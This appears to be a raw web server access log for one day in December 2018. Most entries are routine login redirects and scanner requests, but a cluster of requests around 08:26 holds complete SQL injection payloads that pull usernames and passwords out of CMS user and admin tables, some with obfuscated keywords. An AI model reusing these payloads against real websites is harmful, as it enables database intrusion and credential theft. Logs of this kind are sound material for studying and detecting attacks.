5.8.54.27 - - [13/Dec/2018:00:41:41 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:00:41:42 -0500] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [13/Dec/2018:01:17:27 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [13/Dec/2018:01:17:27 -0500] "GET /login HTTP/1.1" 200 4162 5.8.54.27 - - [13/Dec/2018:02:06:07 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:02:06:08 -0500] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [13/Dec/2018:03:32:40 -0500] "GET / HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:03:43:46 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:03:43:47 -0500] "GET /login HTTP/1.1" 200 4162 5.8.54.27 - - [13/Dec/2018:04:05:48 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:04:05:48 -0500] "GET /login HTTP/1.1" 200 4162 5.8.54.27 - - [13/Dec/2018:06:19:56 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:06:19:57 -0500] "GET /login HTTP/1.1" 200 4162 139.162.87.250 - - [13/Dec/2018:07:01:55 -0500] "GET / HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:07:46:37 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:07:46:37 -0500] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [13/Dec/2018:07:58:15 -0500] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [13/Dec/2018:08:26:20 -0500] "HEAD / HTTP/1.1" 302 - 127.0.0.1 - - [13/Dec/2018:08:26:21 -0500] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [13/Dec/2018:08:26:21 -0500] "HEAD /plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20%7Bprefix%7Duser HTTP/1.1" 200 - 127.0.0.1 - - [13/Dec/2018:08:26:21 -0500] "GET /plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20%7Bprefix%7Duser HTTP/1.1" 200 2137 127.0.0.1 - - [13/Dec/2018:08:26:21 -0500] "HEAD /plus/recommend.php HTTP/1.1" 200 - 127.0.0.1 - - [13/Dec/2018:08:26:22 -0500] "GET /plus/recommend.php?aid=1&_FILES%5Btype%5D%5Bname%5D&_FILES%5Btype%5D%5Bsize%5D&_FILES%5Btype%5D%5Btype%5D&_FILES%5Btype%5D%5Btmp_name%5D=aa%5C%27and+char(@%60%27%60)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x383839386739617364,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20%60%23@__admin%60%23 HTTP/1.1" 200 2137 127.0.0.1 - - [13/Dec/2018:08:26:22 -0500] "HEAD /news/html HTTP/1.1" 200 - 127.0.0.1 - - [13/Dec/2018:08:26:22 -0500] "GET /news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html HTTP/1.1" 200 2137 5.8.54.27 - - [13/Dec/2018:08:55:19 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:08:55:19 -0500] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [13/Dec/2018:09:40:24 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [13/Dec/2018:09:40:24 -0500] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [13/Dec/2018:09:40:25 -0500] "GET / HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:11:13:59 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:11:14:00 -0500] "GET /login HTTP/1.1" 200 4162 209.17.97.50 - - [13/Dec/2018:11:52:35 -0500] "GET / HTTP/1.1" 302 - 209.17.97.58 - - [13/Dec/2018:12:42:29 -0500] "GET / HTTP/1.1" 302 - 209.17.96.18 - - [13/Dec/2018:13:29:03 -0500] "GET / HTTP/1.1" 302 - 209.17.97.106 - - [13/Dec/2018:13:51:58 -0500] "GET / HTTP/1.1" 302 - 209.17.96.226 - - [13/Dec/2018:14:26:06 -0500] "GET / HTTP/1.1" 302 - 209.17.96.250 - - [13/Dec/2018:14:31:11 -0500] "GET / HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:15:10:45 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:15:10:46 -0500] "GET /login HTTP/1.1" 200 4162 209.17.96.194 - - [13/Dec/2018:15:13:45 -0500] "GET / HTTP/1.1" 302 - 209.17.97.34 - - [13/Dec/2018:15:34:07 -0500] "GET / HTTP/1.1" 302 - 122.228.19.79 - - [13/Dec/2018:16:13:16 -0500] "GET / HTTP/1.1" 302 - 122.228.19.79 - - [13/Dec/2018:16:13:17 -0500] "GET /login HTTP/1.1" 200 4162 209.17.96.242 - - [13/Dec/2018:16:28:41 -0500] "GET / HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:17:01:12 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:17:01:12 -0500] "GET /login HTTP/1.1" 200 4162 209.17.96.10 - - [13/Dec/2018:17:40:06 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [13/Dec/2018:17:49:43 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [13/Dec/2018:17:49:44 -0500] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [13/Dec/2018:17:49:48 -0500] "GET / HTTP/1.1" 302 - 209.17.97.114 - - [13/Dec/2018:18:11:53 -0500] "GET / HTTP/1.1" 302 - 209.17.96.34 - - [13/Dec/2018:18:18:16 -0500] "GET / HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:18:23:31 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:18:23:31 -0500] "GET /login HTTP/1.1" 200 4162 5.8.54.27 - - [13/Dec/2018:20:21:10 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:20:21:10 -0500] "GET /login HTTP/1.1" 200 4162 127.0.0.1 - - [13/Dec/2018:21:18:05 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [13/Dec/2018:21:18:05 -0500] "GET /login HTTP/1.1" 200 4162 209.17.97.82 - - [13/Dec/2018:21:47:20 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [13/Dec/2018:22:20:02 -0500] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [13/Dec/2018:22:20:13 -0500] "GET /login HTTP/1.1" 200 4162 5.8.54.27 - - [13/Dec/2018:22:36:13 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:22:36:13 -0500] "GET /login HTTP/1.1" 200 4162 5.8.54.27 - - [13/Dec/2018:22:59:36 -0500] "GET /conf HTTP/1.1" 302 - 5.8.54.27 - - [13/Dec/2018:22:59:36 -0500] "GET /login HTTP/1.1" 200 4162 209.17.96.234 - - [13/Dec/2018:23:11:30 -0500] "GET / HTTP/1.1" 302 -